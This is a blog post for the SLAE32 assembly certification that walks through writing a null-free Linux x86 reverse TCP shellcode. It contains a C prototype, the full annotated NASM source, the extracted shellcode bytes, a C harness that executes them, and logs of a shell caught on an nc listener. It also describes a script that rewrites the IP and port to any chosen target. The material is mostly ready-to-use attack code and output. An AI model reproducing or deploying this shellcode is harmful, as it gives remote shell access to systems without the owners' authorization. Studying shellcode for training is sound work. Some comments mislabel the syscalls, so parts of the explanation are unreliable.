This post introduces the second mission of my SLAE32 journey.
I spent a lot of time researching how to set up sockets or syscalls and taking notes which helped a lot to do this assignment.
I won’t be as much detailed this time but guess what?
The best part is that we can reuse most of the bind shellcode to create a reverse shellcode!
Introduction
The second assignment for the SLAE32 is similar to the previous post one, but in this case, we need to develop a reverse TCP shellcode.
The requirements are:
- The reverse shell connects to the configured IP and port;
- Executing a shell on successful connection;
- The shellcode should be null-free;
- With the ability for the IP and port to be easily configurable. In other words, the IP and connection port should be easy to set up for the user.
What is a Reverse Shell?
Instead of waiting for connections, a reverse shell connects back to a remote machine, waiting for a connection to the target machine.
The input and output are redirected to the reverse shell socket so the remote machine can interact with the target machine remotely.
A TCP reverse shell is a common technique to bypass firewall restrictions and unreachable access systems from public networks.
Basics First
Before putting our hands-on on developing the shellcode, we should be familiar with the fundamental principles of how to create a proper reverse shell. This way, we will better understand how the internals work and where to debug if an error occurs.
My approach was to analyze TCP reverse shell implementation in a higher-level language, such as C.
C Prototype
Beforehand, analyzing the following code gives an idea of the structure and what syscalls need to be used.
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
int main () {
const char* ip = "127.0.0.1";
// Address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(9001);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
// 1) Socket Syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
// 2) Connect Syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));
// 3) Dup2 Syscall
for (int i = 0; i < 3;i++) {
dup2(sockfd, i);
}
// 4) Execve Syscall
execve("/bin/sh", NULL, NULL);
return 0;
}
Testing the code to see how it behaves.
Compiling with gcc
$ gcc reverse.c -o reverse
As this is a reverse shell, we must execute a listener for port 9001 with nc. Then we can run reverse to establish a connection back to our listener.
The C reverse shell works as expected. From this, we have a reference to build our shellcode.
Checking which syscalls are used
In total, there are four syscalls enumerated below:
*socket* - 359 - 0x167
connect - 362 - 0x16a --> new syscall
*dup2* - 63 - 0x3f
*execve* - 11 - 0xb
We already have the code from the previous assignment for the highlighted syscalls. The new addition is the connect syscall. The difference for the bind shell, instead of defining a local interface, we need to specify a remote IP and a port.
We can use the file /usr/include/x86_64-linux-gnu/asm/unistd_32
to check the definition of each syscall.
As connect is the only new syscall, I will only focus on reviewing that one. For the other, please check assignment 1.
Connect syscall (0x16a)
The C code defines it as the following:
- Struct sockaddr_in
// Server Address struct
int sockfd, acceptfd;
int port = 9001; // Server Address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY;
- Connect syscall
// Address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(9001);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
// 1) Socket Syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
// 2) Connect Syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));
With the following arguments:
- int sockfd - sockfd is the socket descriptor returned by socket() in eax.
- const struct sockaddr *addr - pointer to struct sockaddr that contains information about your IP address and por
- socklen_t addrlen - addrlen specifies the size, in bytes, of the address structure pointed to by addr. In other words, addrlen is set to sizeof(struct sockaddr).
The explanation of how to set up the value for these parameters is also the same as provided in assignment 1 (2 - Bind Syscall (0x169) section).
“Assembling” our shellcode
For this one, I didn’t put effort into reducing the shellcode size. The instructions here for the same syscalls do the same thing but use more space in memory.
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq ; zeroes edx (trick to use less space)
After this, it’s time to set up the syscall arguments having the C code as a reference.
; socket syscall
mov ax, 0x167
mov bl, 0x02
mov cl, 0x01
; edx is already zero
int 0x80 ; interruption syscall or interrupt vector. Returns pointer to the socket in eax
EAX contains 0x167, which is sys_socket as seen in /usr/include/i386-linux-gnu/asm/unistd_32.h
, then EBX is set to 0x2 (PF_INET).
Next, the value 0x01 is moved into ECX, which is the value of SOCK_STREAM
. EDX is already zero because of the previous cdq
instruction.
I just left to use the interruption syscall int 0x80
to create the socket.
If executed successfully, we have our socket. The next step is to set up the connect syscall
.
Beforehand, let’s prepare the next syscall, which is connect
; accept syscall
mov ebx, eax ; moves socket address to ebx (first arg of bind syscall - sockfd)
xor eax, eax
Then , the sockaddr_in
struct is created as follows:
; sockaddr struct
push edx ; pushing our 8 bytes of zero
push 0x0201017f ; 127.1.1.2 --> 0x7F010102, little-endian = 0x0201017F
push word 0x2923 ;little endian -> 9001 = 0x2329
push word 0x2
mov ecx, esp
The struct is finally defined. The trickiest part to understand, I must say.
EDX
is still zero so pushing zeroes will determine the end of the struct.
Next, we push 0x0201017f
which is the remote IP address (127.1.1.2).
Why 127.1.1.2 and 127.0.0.1?
The address 127.0.0.1 contains null bytes (0x0100007f) which would break our shellcode. We need to go with an alternative way.
By using 127.1.1.2
, we avoid those null bytes (0x0201017f). This works because the localhost address has a netmask of 255.0.0.0
. The only limitation is the first 8 bytes, which is why the address 127.0.0.1
behaves the same way.
The next step is to load the stack with the port number. As intel works with the little-endian format, we push 0x2923
, which is the value 9001
. Lastly, pushing 0x2
refers to AF_INET
.
Now, it is just a matter of putting 0x10
(16 bytes) to EDX, which represents the size of sockaddr_in
struct as mentioned in the previous section, and executing the bind syscall with 0x169
in EAX.
mov dl, 0x10 ; sizeof struct
mov ax, 0x16a
int 0x80
It ends up like this
; connect syscall
mov ebx, eax ; moves socket address to ebx (first arg - sockfd)
xor eax, eax
; sockaddr struct
push edx ; pushing our 8 bytes of zero
push 0x0201017f ; 127.1.1.2 --> 0x7F010102, little-endian = 0x0201017F
push word 0x2923 ;little endian -> 9001 = 0x2329
push word 0x2
mov ecx, esp
mov dl, 0x10 ; sizeof struct
mov ax, 0x16a
int 0x80
For dup2
we use a loop to use fewer instructions to save space while constructing a fully interactive bind shell.
; dup2 syscall
mov edx, eax ; edx is already zero
mov cl, 0x03
dup2:
;xor eax, eax
;mov al, 0x3f
push byte 0x3f
pop eax
mov ebx, edx
dec cl
int 0x80
jnz dup2 ; decrements ecx and jumps until ecx=0
We reach the final stage, using execve
syscall to execute /bin/sh
and spawn a shell when a connection is made to the bind port.
If all works as expected, a system shell will be provided to the incoming connection, which can interact with the target machine.
; execve
xor eax, eax
cdq
push eax
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp
mov al, 0xb
int 0x80
To help revert the string used with execve I develop a script called The x86 "Little-Hexdian" String Convert
, which checks if a string passed as an argument is aligned and converts it to hexadecimal in little-endian format.
Available in https://github.com/0xnibbles/slae_x86/blob/main/revHex32.py
Final Assembly Code
; Student ID : PA-31319
; Student Name : Eduardo Silva
; Assignment 2 : TCP Reverse Shell (Linux/x86) Assembly
; File Name : reverse_shell.nasm
global _start
section .text
_start:
global _start
section .text
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq ; zeroes edx
; socket syscall
mov ax, 0x167
mov bl, 0x02
mov cl, 0x01
; edx is already zero
int 0x80 ; interruption syscall or interrupt vector. Returns pointer to the socket in eax
; connect syscall
mov ebx, eax ; moves socket address to ebx (first arg - sockfd)
xor eax, eax
; sockaddr struct
push edx ; ; pushing our 8 bytes of zero
push 0x0201017f ; 127.1.1.2 --> 0x7F010102, little-endian = 0x0201017F
push word 0x2923 ;little endian -> 9001 = 0x2329
push word 0x2
mov ecx, esp
mov dl, 0x10 ; sizeof struct
mov ax, 0x16a
int 0x80
; dup2
xor ecx, ecx
mov cl, 0x03
dup2:
xor eax, eax
mov al, 0x3f
;mov ebx, edi
dec cl
int 0x80
jnz dup2 ; decrements ecx and jumps until ecx=0
; execve
xor eax, eax
cdq
push eax
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp
mov al, 0xb
int 0x80
Compiling and Testing the Shellcode
Checking assembler.sh
output
╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main›
╰─$ ls
bind bind.c bind_shell bind_shell.asm bind_shell.nasm bind_shell.o biShell.sh original_bind_shell.nasm syscalls
╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main›
╰─$ ../../assembler.sh bind_shell.nasm
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done
Shellcode size: 78
"\x31\xc0\x31\xdb\x31\xc9\x99\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x52\x68\x7f\x01\x01\x02\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program.
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x99\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x52\x68\x7f\x01\x01\x02\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●›
╰─$ gcc -fno-stack-protector -m32 -z execstack -o rev_shell shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
Let’s use nc
to create a listener on port 9001
and then execute rev_shell
to connect it.
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●›
╰─$ ./rev_shell
Shellcode Length: 78
────────────────────────────────────────────────────
╭─edu@debian ~/Documents/blogGithub/dev-blog/0xnibbles ‹master●›
╰─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [127.1.1.2] from (UNKNOWN) [127.0.0.1] 35190
id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
rev_shell
executes with no errors and it connects back to our listener!
What if we want to change the IP address and the port?
One of the requirements for this assignment is the ability to change easily the IP address and port used in the shellcode. For that, we can change the bytes in the shellcode related to the port and change them for the specific port we want the bind shell waits for a connection.
The following shell script is named revShell.sh
replaces the hardcoded 9001
with the port provided by the user as an argument. It automatically converts the port into the hexadecimal little-endian format.
Available at https://github.com/0xnibbles/slae_x86/blob/main/assignments/2-Shell_Reverse_TCP/revShell.sh
It accepts two arguments - the desired IP address and port.
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●›
╰─$ ./revShell.sh
Usage: ./revShell.sh <ip address> <port (decimal)>
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●›
╰─$ ./revShell.sh 127.1.1.3 9999
[*] Doing magic with your IP address and port number
[*] Done
Enjoy this Reverse TCP Shellcode with the IP 127.1.1.3 and port 9999
"\x31\xc0\x31\xdb\x31\xc9\x99\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x52\x68\x7f\x01\x01\x03\x66\x68\x27\x0F\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
--------------------
[*] Hack the World!
--------------------
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●›
╰─$ gcc -fno-stack-protector -m32 -z execstack -o rev_shell9999 shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●›
╰─$ ./rev_shell9999
Shellcode Length: 78
────────────────────────────────────────────────────
╭─edu@debian ~/Documents/blogGithub/dev-blog/0xnibbles ‹master●›
╰─$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [127.1.1.3] from (UNKNOWN) [127.0.0.1] 33880
id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
ls
revShell.sh
rev_shell
rev_shell9999
reverse
reverse.c
reverse_shell
reverse_shell.nasm
reverse_shell.o
shellcode.c
syscalls
testIP.sh
We get a shell!!!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86